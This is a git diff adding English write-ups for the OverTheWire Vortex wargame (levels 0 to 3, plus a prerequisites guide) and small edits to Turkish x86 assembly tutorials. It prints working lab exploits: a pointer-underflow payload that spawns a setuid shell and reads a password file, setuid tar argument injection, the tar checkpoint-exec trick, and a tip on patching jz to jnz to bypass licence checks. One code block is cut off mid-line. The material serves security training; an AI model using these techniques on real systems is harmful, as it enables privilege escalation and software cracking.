+> 📌 **Read before starting:** [00 - Vortex - BAŞLAMADAN ÖNCE OKUYUNUZ.md](./vortex/00%20-%20Vortex%20-%20BAŞLAMADAN%20ÖNCE%20OKUYUNUZ.md) — prerequisite knowledge & level map.
+>
+> ⚠️ 32-bit (x86) little-endian. The entry point is **not** SSH — it's a **port 5842** network task; after that, **port 2228**. Passwords are hidden in the writeups (`**********`).
+
+| File | Topic / Technique | Levels |
+|---|---|---|
+| [vortex 0 -> 1.md](./vortex/vortex%200%20-%3E%201.md) | Network socket + endianness — sum 4×uint32 in host byte order (little-endian) and send it back | 0 → 1 |
+| [vortex 1 -> 2.md](./vortex/vortex%201%20-%3E%202.md) | Unbounded `ptr` decrement → write `0xca` over its own MSB → embedded `execlp` shell | 1 → 2 |
+| [vortex 2 -> 3.md](./vortex/vortex%202%20-%3E%203.md) | `tar` argument injection (setuid) — have it archive the password file, read it from the group-readable archive | 2 → 3 |
+
+> 🚧 This section is growing — new levels will be added as they're solved (27 total).
+
+---
+
## 🛠️ How to Use
1. Go to [OverTheWire](https://overthewire.org/wargames/)
diff --git "a/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md" "b/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md"
new file mode 100644
index 0000000..d78b638
--- /dev/null
+++ "b/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md"
@@ -0,0 +1,120 @@
+# Read Before You Start Vortex — Prerequisites & Topic Guide
+
+> This document describes which topics you need to master before starting the OverTheWire
+> **Vortex** wargame. Vortex is a **32-bit x86 Linux binary exploitation** game, but
+> interestingly it **starts with network/socket programming** (27 levels: vortex0 → vortex26).
+> Unlike Narnia/Behemoth, it doesn't drill a single pattern but walks through **the entire
+> classic binary exploitation curriculum**: overflow, format string, heap, ret2libc/ROP, then
+> cryptanalysis + RE/keygen.
+> (This document **contains no solutions** — only prerequisites and a map of the terrain.)
+
+---
+
+## 0. What is Vortex, what does it expect?
+
+- **The entry is different:** vortex0 doesn't start with SSH but by connecting to the port **`vortex.labs.overthewire.org:5842`** and solving a network task; as a reward it hands you the vortex1 credentials.
+- **After that it's SSH:** `ssh vortexN@vortex.labs.overthewire.org -p 2228` (⚠️ **2228**, not 2223 — that's Leviathan).
+- The server is **32-bit x86, little-endian**. Files live under `/vortex/`; each level program is `-r-sr-x---` (**setuid** to the next user).
+- The target password is `/etc/vortex_pass/vortexN` (readable only by that user) → the general idea is to exploit the program and get it to read the file with that user's privileges.
+- **Source code is NOT provided for most levels** → you disassemble the binary yourself with `objdump`/`gdb`. This is the concrete reason it's said to "teach assembly."
+- **Prerequisite wargames:** Bandit → Narnia → Behemoth → Utumno (then Vortex). Difficulty ~6/10, but the **range of topics** is very broad.
+
+**Surprise warning:** the "advanced memory corruption" (heap/ROP) you'd expect **is not** in the upper half but clusters in the middle region (8–13). The upper half (14–26) is more about **cryptanalysis + reverse engineering + keygen**.
+
+---
+
+## 1. Level Map (conceptual — not solutions)
+
+| # | Theme | Key concept |
+|---|------|----------------|
+| 0 | **Network + endianness** | socket client; read/sum/send 4×uint32 in **host byte order** (little-endian) |
+| 1 | **Unbounded pointer** | `ptr` decrement (no bound) → overwrite itself → embedded shell condition |
+| 2 | **Argument injection** | setuid program passes a user argument to `tar` as an operand |
+| 3 | **Shellcode + setuid** | stack overflow; the shell drops privileges → `setresuid` in the shellcode |
+| 4 | **Format string** | leak with `%x` / write with `%n`; argc-check twist; GOT overwrite |
+| 5 | **Crypto brute** | short (5-character) MD5 brute force |
+| 6 | **Reverse engineering** | no source → disassemble and find the hole yourself |
+| 7 | **CRC32 inversion** | produce input that reaches the target checksum |
+| 8 | **Dynamic linking / PLT-GOT** | analyze a dynamically-linked binary + function pointer |
+| 9 | **NX / ret2libc** (no official description → verify yourself) | defeat a non-executable stack with code reuse |
+| 10 | **PRNG seed** | recover the seed from 20 numbers (30-second limit) |
+| 11 | **Heap** | phkmalloc (OpenBSD) metadata corruption |
+| 12 | **NX bypass** | ret2libc / ROP |
+| 13 | **ROP + size constraint** | NX + a payload that fits into a very small space |
+| 14 | **Weak stream cipher** | RC4-type + traffic analysis |
+| 15 | **Known-plaintext** | 8-byte A–Z key brute + file-signature verification |
+| 16 | **Partial key** | 100 bits of a 128-bit key given, ~28 bits brute |
+| 17 | **Working backwards** | no target given; infer the vulnerability from black-box observation |
+| 18 | **Predictable seed** | weak `urandom`/PRNG seeding |
+| 19 | **Keygen** | break a weak binary encryption and write a key generator |
+| 20 | **Integer overflow** | remote integer boundary bug |
+| 21 | **Reverse-me** | solve it by understanding the encryptor |
+| 22 | **Object analysis** | verification logic from `.o` files → keygen |
+| 23 | **"Mirror"** (unclear) | title hint; independent research |
+| 24 | **glibc `random_r`** | recompute the seed from the RNG internal state |
+| 25 | **MISSING** | no longer active (24→26 bridge) |
+| 26 | **Meta-final** | write your own level + its exploit (the end) |
+
+> The last technical level in practice is **24** (25 is missing, 26 is meta). vortex9/23 have no official description → verify yourself in the box.
+
+---
+
+## 2. Network & Byte Order — the heart of vortex0
+
+- **host byte order** = the machine's natural order (x86 → **little-endian**); **network byte order** = big-endian. `htonl`/`ntohl` convert between the two.
+- Raw socket: `recv` may return fewer bytes → complete it in a loop; interpret/pack binary data with `struct.pack/unpack` (`<`=little).
+- 32-bit overflow: the sum of 4 numbers exceeds 32 bits → `& 0xFFFFFFFF` (mod 2³²).
+
+## 3. x86 (32-bit) Assembly & Memory
+
+- **Stack frame:** `push ebp; mov ebp,esp`; locals at `ebp-N`, the saved return address at `[ebp+4]`. The overflow distance (offset) is computed from this layout.
+- **Calling convention (cdecl):** arguments pushed onto the stack right-to-left; the caller cleans up. Decisive in format-string and ret2libc.
+- **Registers:** EAX (return), EBP/ESP (frame), EIP (target). Addresses are 4-byte **little-endian**.
+- **Syscall:** `int 0x80` + EAX (number) / EBX,ECX,EDX (args). (**Not** the 64-bit `syscall`+RDI/RSI.)
+- Reading: `objdump -d -M intel`, `pwndbg`/`gdb` (breakpoint, `x/`, `info registers`).
+
+## 4. Shellcode
+
+- `execve("/bin/sh")` (32-bit); if it's embedded in a string it must be **null-free** (`strcpy` cuts off at 0x00 → zero out registers with xor).
+- On setuid levels the shell may drop privileges → `setreuid/setresuid(geteuid())` in the shellcode.
+- `pwntools`: `asm(...,arch='i386')`, `shellcraft.i386.linux.sh()`, `cyclic`/`cyclic_find` (offset).
+
+## 5. Cryptanalysis & RNG (upper half)
+
+- Short/weak hash (MD5), weak stream cipher (RC4), known-plaintext, constrained-keyspace brute.
+- The **PRNG vulnerability** trio (10, 18, 24): recomputing the seed/state from output; glibc `random_r` internal structure.
+- RE/keygen: extract the verification algorithm with `objdump`/`radare2` and reverse-code it.
+
+## 6. Security Mitigations — check FIRST on every level
+
+| Mitigation | Check | Effect |
+|--------|---------|--------|
+| NX/DEP | `checksec`, `readelf -l` GNU_STACK | off → shellcode; on → ret2libc/ROP |
+| Canary | `checksec` | overflow strategy (present on some levels in Vortex) |
+| ASLR | usually not deterministic → confirm per level | address finding |
+
+---
+
+## 7. Tools
+
+`ssh`, `nc`, `python3` (socket + `struct`), `objdump -d -M intel`, `readelf`, `nm`, `strings`,
+`gdb`/`pwndbg`, `strace`/`ltrace`, `gcc -m32`, `nasm`, `pwntools` (`ssh`/`process`/`p32`/`asm`/`cyclic`/`ROP`),
+`ropper`/`ROPgadget` (ROP), `radare2` (RE/keygen).
+
+## 8. "Am I Ready?" Checklist
+
+- [ ] I can write a TCP socket client and apply the **host vs network byte order** difference
+- [ ] I can read a 32-bit stack frame + `objdump` disasm (source isn't provided!)
+- [ ] I know null-free `execve` shellcode + setuid privilege-drop (`setresuid`)
+- [ ] I can apply format string `%n` / GOT overwrite logic
+- [ ] I know how to defeat NX with ret2libc / ROP (ropper/ROPgadget)
+- [ ] I've heard of heap (phkmalloc) and PRNG-seed recomputation concepts
+- [ ] I can extract an algorithm for a keygen with `radare2`/`objdump`
+
+If you say "yes" to most of these, you're ready for Vortex. If you have "no"s, first solidify **Narnia + Behemoth**.
+
+---
+
+> This guide is only a **topic/prerequisite** list, it contains no solutions. OverTheWire asks
+> that solutions not be published on the web — these notes are for your personal study. Passwords
+> in this repo are always kept **masked** (`**********`).
diff --git a/docs/eng/overthewire/vortex/vortex 0 -> 1.md b/docs/eng/overthewire/vortex/vortex 0 -> 1.md
new file mode 100644
index 0000000..273999c
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 0 -> 1.md
@@ -0,0 +1,72 @@
+# OverTheWire — Vortex Level 0 → 1
+
+> Goal: `vortex1` password via the `vortex0` network task. Result: **`**********`** (hidden)
+> Technique: Read 4×uint32 from a TCP socket (**host byte order = little-endian**), sum them, send it back.
+> Environment: 32-bit x86 (little-endian). Entry is **not** SSH — the game starts with the **port 5842** network service.
+
+---
+
+## 1. Connection
+There is no SSH on vortex0; the game starts with a network task. A plain `nc` won't do (binary arithmetic is required), but to see the service:
+```bash
+nc vortex.labs.overthewire.org 5842 # sends 16 bytes (4×uint32), expects a 4-byte result
+```
+All subsequent levels: `ssh vortex1@vortex.labs.overthewire.org -p 2228`
+
+## 2. The Task
+Official: *"connect to port 5842, read 4 unsigned ints in **host byte order**, sum them, send it back → vortex1 credentials."*
+Critical nuance: **host byte order** = the machine's native order. The server is 32-bit x86 → **little-endian** (**not** network/big-endian). The sum wraps to 32 bits (mod 2³²), and the result is sent as 4 raw bytes.
+
+## 3. Recon — look at the raw bytes first
+Before writing blind code, without sending anything, read the 16 bytes and see both interpretations:
+```python
+import socket, struct
+s = socket.create_connection(("vortex.labs.overthewire.org", 5842)); s.settimeout(10)
+d = b""
+while len(d) < 16: d += s.recv(16 - len(d)) # recv may return less → fill up to 16
+print("hex:", d.hex(" "))
+print("little <4I:", struct.unpack("<4I", d))
+print("big >4I:", struct.unpack(">4I", d))
+```
+```
+hex: 9a 08 52 24 53 68 5f 19 9c a8 51 6a 4a 1d fc 42
+little <4I: (609355930, 425683027, 1783736476, 1123818826) total=3942594259
+big >4I: (2584236580, 1399349017, 2628276586, 1243479106) total=3560373993
+```
+Observation: exactly **16 bytes**; the two interpretations give **different sums** → byte order is vital. Also, every connection brings **new numbers** → read+sum+send must happen **in a single connection**.
+
+## 4. The Trap — trying big-endian (came up in the live solve)
+The first reflex is "network = network byte order (big-endian)". Tried:
+```
+$ python3 solve.py ">"
+sent: bd 2f b4 9d
+--- server --- bzzzt, wrong
+```
+> ⚠️ **byte-order trap:** In network programming, the network byte order (big-endian) habit is **wrong** here. The spec clearly says *"host byte order"*; x86 = little-endian. The diagnosis = seeing the error message and **re-reading the spec**, not random trial-and-error. The fix: `>` → `<`.
+
+## 5. Exploit (little-endian = host byte order)
+```python
+import socket, struct
+s = socket.create_connection(("vortex.labs.overthewire.org", 5842)); s.settimeout(10)
+d = b""
+while len(d) < 16: d += s.recv(16 - len(d))
+total = sum(struct.unpack("<4I", d)) & 0xFFFFFFFF # <4I = little-endian; & mask = mod 2^32
+s.send(struct.pack("`/`!`=big |
+| 32-bit overflow | the sum of 4 numbers exceeds 32 bits → wrap it with `& 0xFFFFFFFF` (mod 2³²) |
+| `recv` may return partial data | guarantee all 16 bytes with a `while len<16` loop |
+| Single connection | each connection means new numbers → read+sum+send on the same socket |
+| Methodology | observe first (raw bytes), read the error message seriously, don't try a new fix before finding the root cause |
diff --git a/docs/eng/overthewire/vortex/vortex 1 -> 2.md b/docs/eng/overthewire/vortex/vortex 1 -> 2.md
new file mode 100644
index 0000000..bb9bb69
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 1 -> 2.md
@@ -0,0 +1,75 @@
+# OverTheWire — Vortex Level 1 → 2
+
+> Goal: the `vortex2` password from `vortex1`. Result: **`**********`** (redacted)
+> Technique: unbounded `ptr` decrement → make the pointer overwrite **itself** and set its MSB to `0xca` → embedded `execlp` shell.
+> Environment: 32-bit x86, stack canary **present** (we don't touch it), NX on (no shellcode needed), **ASLR irrelevant**.
+
+---
+
+## 1. Connection
+```bash
+ssh vortex1@vortex.labs.overthewire.org -p 2228 # password: obtained from vortex0
+```
+`/vortex/vortex1` → `-r-sr-x--- vortex2 vortex1` (setuid vortex2). **No source (`.c`)** → disassembled with `objdump -d -M intel` and the logic reconstructed (not stripped, symbols present).
+
+## 2. Analysis (`objdump` → pseudocode)
+```c
+char buf[512]; // ebp-0x21c
+char *ptr = buf + 256; // ebp-0x224 ; start buf+0x100
+int x;
+while ((x = getchar()) != EOF) {
+ if (x == '\n') print(buf, 512); // print buf
+ else if (x == '\\') ptr--; // ⚠ NO BOUNDS CHECK
+ else {
+ if ((ptr & 0xff000000) == 0xca000000) { // WIN condition
+ setresuid(geteuid(), geteuid(), geteuid());
+ execlp("/bin/sh", "sh", NULL); // → vortex2 shell
+ }
+ if (ptr <= buf + 512) // only UPPER bound check
+ *ptr++ = (char)x; // write, then advance
+ }
+}
+puts("All done");
+```
+
+## 3. Vulnerability
+- `\` (backslash) → does `ptr--`, with **no bounds check at all** → ptr can descend far below `buf`.
+- The write only checks the **upper** bound (`ptr <= buf+512`); there is no lower bound → **writing below buf is free**.
+- The `ptr` variable itself sits in memory just below `buf` (`ebp-0x224`, while buf is at `ebp-0x21c` → 8 bytes earlier). So we can walk ptr back and make **its own storage** the write target.
+- To win: `ptr`'s **most significant byte (MSB)** should be `0xca` → `(ptr & 0xff000000)==0xca000000` → `execlp` shell.
+
+> 💡 **Why ASLR is irrelevant:** ptr is a stack address (possibly random), but we are not trying to know its value — we write **`0xca` directly** into its MSB. Whatever the address is, the top byte becomes 0xca.
+
+## 4. Offset (where 261 comes from)
+- `ptr` start = `buf+0x100` = `ebp-0x11c`.
+- The MSB of the `ptr` variable (little-endian, highest address) = `ebp-0x224 + 3` = `ebp-0x221`.
+- Decrement needed = `0x221 - 0x11c` = **261** backslashes → ptr points exactly at its own MSB.
+- Then write `0xca`: `*ptr = 0xca` clobbers the MSB → `ptr = 0xca______`.
+- One more trigger byte (any normal char) → the win check passes → shell.
+
+## 5. Exploit
+```bash
+python3 -c '
+import sys,time
+sys.stdout.buffer.write(b"\\"*261 + b"\xca\xca"); sys.stdout.flush(); time.sleep(1)
+sys.stdout.buffer.write(b"id; cat /etc/vortex_pass/vortex2\n"); sys.stdout.flush(); time.sleep(1)
+' | /vortex/vortex1
+```
+Output:
+```
+uid=5002(vortex2) gid=5001(vortex1) groups=5001(vortex1)
+**********
+```
+> ⚠️ **stdio/EOF trap (official hint: "how bash handles EOF"):** `getchar` pulls the input into the 4 KB stdio buffer all at once. If you feed the payload together with the commands in one shot, then when the `execlp` shell is born the buffer stays in the old process, the pipe empties → the shell gets an **immediate EOF** and closes. Fix: send the payload, **wait briefly** (let getchar consume it and the shell come up), *then* feed the command — so the command waits in the pipe for the shell.
+
+## Lessons
+| Topic | Note |
+|------|------|
+| Unbounded pointer | `\` → `ptr--`, no bounds check → ptr can land on top of its own storage |
+| One-way bound | The write only checks the upper bound (`ptr<=buf+512`); no lower bound |
+| Self-modifying write | Bring ptr to its own MSB + write `0xca` → `(ptr&0xff000000)==0xca000000` wins |
+| Little-endian | MSB = the highest-addressed byte (`ebp-0x221`); `0xca` is written there ([[vortex0]] byte-order revisited) |
+| ASLR-independent | No need to know the address value; the MSB is written directly |
+| stdio/EOF trap | `getchar` buffers → wait after the payload, then feed the command (let the spawned shell read it) |
+| setuid privesc | `setresuid(geteuid×3)` before `execlp` → ruid=vortex2, the shell doesn't drop privilege |
+| When there's no source | `objdump -d -M intel` + `not stripped` symbols → lift the logic into pseudocode |
diff --git a/docs/eng/overthewire/vortex/vortex 2 -> 3.md b/docs/eng/overthewire/vortex/vortex 2 -> 3.md
new file mode 100644
index 0000000..473b0e4
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 2 -> 3.md
@@ -0,0 +1,64 @@
+# OverTheWire — Vortex Level 2 → 3
+
+> Goal: Get `vortex3`'s password from `vortex2`. Result: **`**********`** (redacted)
+> Technique: a setuid program passes user arguments to `tar` as operands → make tar (euid=vortex3) **archive the password file**, then extract from the group-readable archive.
+> Environment: 32-bit x86 setuid (vortex3); the vulnerability is not memory, but an **unsafe subprocess call**.
+
+---
+
+## 1. Connection
+```bash
+ssh vortex2@vortex.labs.overthewire.org -p 2228 # password: taken from vortex1
+```
+`/vortex/vortex2` → `-r-sr-x--- vortex3 vortex2` (setuid vortex3). No source → `objdump` + `strings` (seen: `/bin/tar`, `/tmp/ownership.$$.tar`).
+
+## 2. Analysis (`objdump` → pseudo-code)
+```c
+int main(int argc, char **argv) {
+ char *args[6];
+ args[0] = "/bin/tar";
+ args[1] = "cf";
+ args[2] = "/tmp/ownership.$$.tar"; // FIXED path — execv, NO shell → $$ does not expand, literal
+ args[3] = argv[1]; // ← user-controlled
+ args[4] = argv[2]; // ← user-controlled
+ args[5] = argv[3]; // ← user-controlled
+ execv("/bin/tar", args); // tar cf /tmp/ownership.$$.tar
+}
+```
+
+## 3. The Vulnerability
+- The program passes the user's `argv[1..3]` **directly** to `tar` as operands, and tar runs with **euid=vortex3** (setuid).
+- You tell tar "which files to archive" → tar can read those files **with vortex3's privileges**.
+- The resulting archive `/tmp/ownership.$$.tar`: owner vortex3, but **mode `-rw-rw-r--`, group vortex2** → we (vortex2, group vortex2) **can read it**.
+- Idea: make tar **archive the password file** → its contents end up in the archive → read the archive and extract them.
+
+> 💡 **Two tar paths:** (A) archiving the password file [the one I used, cleanest]; (B) the classic tar **`--checkpoint-action=exec=`** command injection (tar mistakes a `--`-prefixed operand for an option). B is the path the level's "GNU tar manual" hint points to, but it has two snags: enough **records** are needed for the checkpoint to fire, and because the action runs via `sh -c`, **privileges may drop**. A sidesteps both.
+
+## 4. Exploit (A — make tar archive the password file)
+```bash
+cd /tmp
+/vortex/vortex2 /etc/vortex_pass/vortex3 # → tar cf /tmp/ownership.$$.tar /etc/vortex_pass/vortex3
+tar xOf '/tmp/ownership.$$.tar' # dump the archive's contents to stdout (x=extract, O=stdout, f=file)
+```
+Output:
+```
+/bin/tar: Removing leading `/' from member names # (tar's normal warning)
+**********
+```
+Verification: `tar tvf '/tmp/ownership.$$.tar'` → `-r-------- vortex3/vortex3 ... etc/vortex_pass/vortex3` (tar read the file as vortex3).
+
+> ⚠️ **SIGPIPE trap (came up in the live solve):** if you pipe the program's output into something like `| head`, then when the pipe closes early `tar` dies with **SIGPIPE** and leaves a half/stale archive behind (old `mtime`, empty contents). Run the program **without a pipe**, and read the archive separately afterwards.
+
+> ⚠️ **fixed output path:** `/tmp/ownership.$$.tar` is literal (execv, `$$` does not expand). The file is owned by vortex3; in sticky `/tmp` you **cannot delete** it, but tar (euid vortex3) **can overwrite** it, and since it is group-`rw` **you can read** it.
+
+## Lessons
+| Topic | Note |
+|------|------|
+| Unsafe subprocess | Passing a user argument to a privileged program (tar) without filtering = privesc |
+| Confused deputy | The setuid program reads files on your behalf with vortex3's privileges (a continuation of the [[vortex1]] setuid logic) |
+| tar = file-read primitive | Controlling "what to archive" = controlling "which file to read as vortex3" |
+| Group permissions | Output is `-rw-rw-r--` group vortex2 → we can read the archive and extract the contents |
+| `tar xOf` | Dumps an archive member to **stdout** without unpacking it to disk → quick content read |
+| tar checkpoint trick | `--checkpoint-action=exec=CMD` = classic tar RCE; but the record + `sh -c` privilege drop make it fiddly |
+| SIGPIPE | Closing a `| head` pipe early while the subprocess is writing → SIGPIPE → truncated output |
+| execv vs system | execv opens no shell → `$$` stays literal; but argument injection is still possible |
diff --git a/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md b/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
index 7df23e8..6673d9b 100644
--- a/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
+++ b/docs/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
@@ -90,6 +90,8 @@ Sonucu şu: `AL`'i değiştirirsen, `EAX`'in de en alt byte'ını değiştirmiş
sadece en alt byte değişti; gerisi yerinde kaldı
```
+Neden `AL = 0x44`? 03'ten hatırla: en **sağdaki** hane en küçük değerdir — o yüzden bir sayının en alt byte'ı hep en sağdaki iki hex rakamıdır. `0x11223344`'ün en sağı `44` → `AL`, onun solundaki `33` → `AH`. (Soldan başlayıp `0x11`'i `AL` sanma; alt byte hep sağ uçtadır.)
+
Gördüğün gibi `AL`'e dokunmak `EAX`'i de etkiledi — çünkü `AL`, `EAX`'in bir köşesinin takma adından başka bir şey değil. 04'teki "kutu" benzetmesini hatırla: bu hâlâ **tek bir cep kutusu;** sen sadece onun tamamına mı yoksa bir köşesine mi baktığını (ve yazdığını) seçiyorsun.
> 🔑 Tek cümlede: `AL`/`AH`/`AX`/`EAX` ayrı register'lar değil, aynı register'ın küçükten büyüğe pencereleridir. Küçük pencereye yazmak, büyük pencerenin o kısmını da değiştirir.
diff --git a/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md b/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
index 4f3ed00..571a774 100644
--- a/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
+++ b/docs/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
@@ -91,6 +91,8 @@ En zekice soru bu, ve cevabı 01'in ("işçi kelime bilmez, sadece sayı") ta ke
Peki bu kelimeyi kim takıyor? **`ld`.** Programı kurarken "**hangi adresten başlasın?**" (giriş noktası) bilgisine ihtiyacı var, ve **varsayılan olarak `_start` adlı etiketi arayıp** onun adresini "başlangıç" kabul eder. Yani `_start`, `ld` ile aranızdaki sessiz bir **anlaşma**: "başlangıcın adı budur."
+Peki programda `_start`'ı neden **iki kez** yazıyoruz — bir `global _start`, bir `_start:`? İki ayrı iş: `_start:` (sonundaki iki nokta üst üste ile) o satıra **etiketi asar**, "burası _start" der. `global _start` ise o etiketi **dışarı, `ld`'ye duyurur** — "bu ismi dosyanın dışı da görebilsin." `global` olmasa etiket yalnız dosyanın içinde kalır; `ld`, varsayılan başlangıç olarak aradığı `_start`'ı bulamazdı. Yani `_start:` ismi *koyar*, `global` onu *görünür* kılar.
+
Bunu denedim — etiketi `_start` yerine `_basla` yaptım:
```
diff --git a/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md b/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
index b855c91..a095194 100644
--- a/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
+++ b/docs/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
@@ -155,6 +155,8 @@ Bunu tutan da bir kutu: **`eip`** (*instruction pointer* — "komut göstergesi"
Sıradaki komutu görmek için: **`x/i $eip`** ("eip'in gösterdiği adresteki komutu, komut olarak yaz"):
+> 💡 **Baştaki `$` ne?** gdb'de bir register'ı **bir ifadenin içinde, değeri lazım olduğu için** kullanırken adının başına `$` koyarsın: `$eip` = "eip'in *içindeki* adres". Yukarıdaki `info registers eax`'te ise `$` yoktu — çünkü orada register'ı bir hesaba katmıyor, sadece **adıyla listeliyorduk**. Kısaca: değerini kullanıyorsan `$eip`, sadece adını söylüyorsan `eax`.
+
```
(gdb) x/i $eip
```
diff --git a/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md b/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
index cdc6e2c..0352c31 100644
--- a/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
+++ b/docs/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
@@ -91,7 +91,9 @@ gdb ./bellek
(gdb) starti
```
-Bu sefer sadece register'a değil, **belleğin kendisine** de bakacağız. Bellek kutusuna bakma komutu **`x`** (*examine*): `x/1dw &sayi` = "sayi'nin adresindeki 1 tane dword'ü onluk göster." (`&sayi` = "sayi'nin adresi"; `d` = onluk, `w` = word/dword.)
+Bu sefer sadece register'a değil, **belleğin kendisine** de bakacağız. Bellek kutusuna bakma komutu **`x`** (*examine*): `x/1dw &sayi` = "sayi'nin adresindeki 1 tane dword'ü onluk göster." (`&sayi` = "sayi'nin adresi"; `d` = onluk göster; `w` = **4 byte'lık dword**.)
+
+> 💡 **Karışmasın:** buradaki `w`, `section .data`'daki `dw` ile **aynı harf ama farklı sözlük.** NASM'de `dw` = 2 byte'tı; gdb'nin `x/…w`'sinde `w` = **4 byte** (dword). Aynı harf, iki alet, iki boyut — burada 4 byte gösteriyor.
```
(gdb) info registers eax
diff --git a/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md b/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
index 26a4f9e..06500a0 100644
--- a/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
+++ b/docs/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
@@ -144,7 +144,7 @@ Tabloya koyalım — karar mantığının çekirdeği bu:
Okuması çok basit:
- **ZF = 1** ise iki sayı **eşit** (çünkü fark sıfır).
-- **ZF = 0, SF = 1** ise ilk sayı **küçük** (fark eksiye düştü — 09'daki two's complement'ten hatırla: eksi = en üst bit 1 = SF).
+- **ZF = 0, SF = 1** ise ilk sayı **küçük** (fark eksiye düştü. 09'daki `0xFFFFFFFD` gibi eksi sayılar hep en soldaki bitle başlar; iki'ye tümleyende **en üst bit = "eksi mi" işaretidir** — SF işte o biti kopyalar).
- **ZF = 0, SF = 0** ise ilk sayı **büyük** (fark pozitif, sıfır değil).
İşçi "hangisi büyük" sorusunu böyle "hatırlar": aslında hatırlamaz — sadece iki bit bırakır, sen (daha doğrusu bir sonraki komut) o iki bite bakıp kararı okur.
@@ -161,7 +161,7 @@ Okuması çok basit:
test eax, eax ; "eax sıfır mı?" → sıfırsa ZF=1
```
-`test`, `cmp` gibi "sonucu atıp yalnız bayrak kuran" bir komuttur. `test eax, eax` kullanıldığında pratik sonucu tek cümle: **eax sıfırsa ZF açılır, değilse kapalı kalır.** İki programla görelim.
+`test`, `cmp` gibi "sonucu atıp yalnız bayrak kuran" bir komuttur. `test eax, eax` kullanıldığında pratik sonucu tek cümle: **eax sıfırsa ZF açılır, değilse kapalı kalır.** (Yeri gelmişken: `test eax, eax` aslında SF'yi de kurar — eax eksiyse SF=1 olur — ama bu "sıfır mı" kısayolunda yalnız ZF'ye bakıyoruz.) İki programla görelim.
`testsifir.asm` (eax = 0):
diff --git a/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md b/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
index 38e648d..abc31b1 100644
--- a/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
+++ b/docs/konu_anlatimlari/x86_assembly/11_ziplamalar.md
@@ -129,6 +129,8 @@ Yolu takip et: `test eax, eax` bayrağı kurar. Sonra `jz sifir` — eğer ZF a
> 💡 **Aklınıza takılabilir:** *"Eşitlik için `jz` biraz tuhaf isim — 'sıfırsa atla' neden 'eşitse' demek?"* Çünkü `cmp a, b` içeride `a - b` yapıyordu (10); `a == b` ise fark **sıfır**, yani ZF açılır. Demek ki "eşit mi" sorusu aslında "fark sıfır mı" sorusudur. Bu yüzden `jz`'nin bir de **`je`** (*jump if equal*) adı vardır — ikisi **birebir aynı komuttur**, sadece iki farklı okunuşu. Aynı şekilde `jnz` = **`jne`** (*jump if not equal*). `cmp`'ten sonra `je`/`jne`, `test`'ten sonra `jz`/`jnz` yazmak sadece okunurluk tercihidir.
+> 💡 **Nerede işine yarar:** bir programın şifre/lisans kontrolünü kırmanın klasik yolu, disassembly'de tam bu `cmp`/`test` + `jz` çiftini bulmaktır — sonra ya `jz`'yi `jnz`'ye çevirir ya da zıplamayı `nop`'larsın; böylece "yanlış şifre" dalı "doğru"ymuş gibi davranır. Yani bugün elle *yazdığın* kalıbı, tersine mühendislik *söker.* Bir "kararı" kırmak = onun dayandığı koşullu zıplamayı değiştirmek. 20'de döneceğimiz binary exploitation'ın da ilk tuğlası bu.
+
---
## Sıralamaya Göre Zıpla: `jl` ve `jg`
@@ -174,7 +176,7 @@ Sayıları `mov eax, 40` / `mov ecx, 30` yapıp yeniden çalıştır:
Program her seferinde **büyük olanı** seçti — sen `if (a > b)` mantığını, işçinin diliyle kurdun.
-> 🔑 `cmp a, b` + `jl`/`jg` = "a, b'den küçük/büyük mü?" kararı. 10'da bahsi geçen "işaretli karşılaştırma inceliğinin" bir adı var: **taşma (overflow)** — ve `jl`/`jg` doğru bayrak kombinasyonunu senin yerine bilir, sen elle uğraşmazsın. Bu taşmanın nereden geldiğini ileride, işaretli aritmetiğe döndüğümüzde tıkır tıkır göreceğiz; şimdilik ismini bil, gerisine güven. Sen sadece doğru olanı seç: sıralama için `jl`/`jg`/`jle`/`jge`, eşitlik için `je`/`jne`. Kalıp yine aynı: **`cmp` kur, koşullu zıpla.**
+> 🔑 `cmp a, b` + `jl`/`jg` = "a, b'den küçük/büyük mü?" kararı. 10'da bahsi geçen "işaretli karşılaştırma inceliğinin" bir adı var: **taşma (overflow)** — ve `jl`/`jg` doğru bayrak kombinasyonunu senin yerine bilir, sen elle uğraşmazsın. Bu taşmanın tam mekanizması, işaretli aritmetiğin daha derin bir konusu — bu başlangıç serisinin kapsamı dışında kalıyor; sana burada gereken tek şey ismini bilmek, gerisini `jl`/`jg` senin yerine hallediyor. Sen sadece doğru olanı seç: sıralama için `jl`/`jg`/`jle`/`jge`, eşitlik için `je`/`jne`. Kalıp yine aynı: **`cmp` kur, koşullu zıpla.**
---
diff --git a/docs/konu_anlatimlari/x86_assembly/12_donguler.md b/docs/konu_anlatimlari/x86_assembly/12_donguler.md
index 428b2f4..e8993c1 100644
--- a/docs/konu_anlatimlari/x86_assembly/12_donguler.md
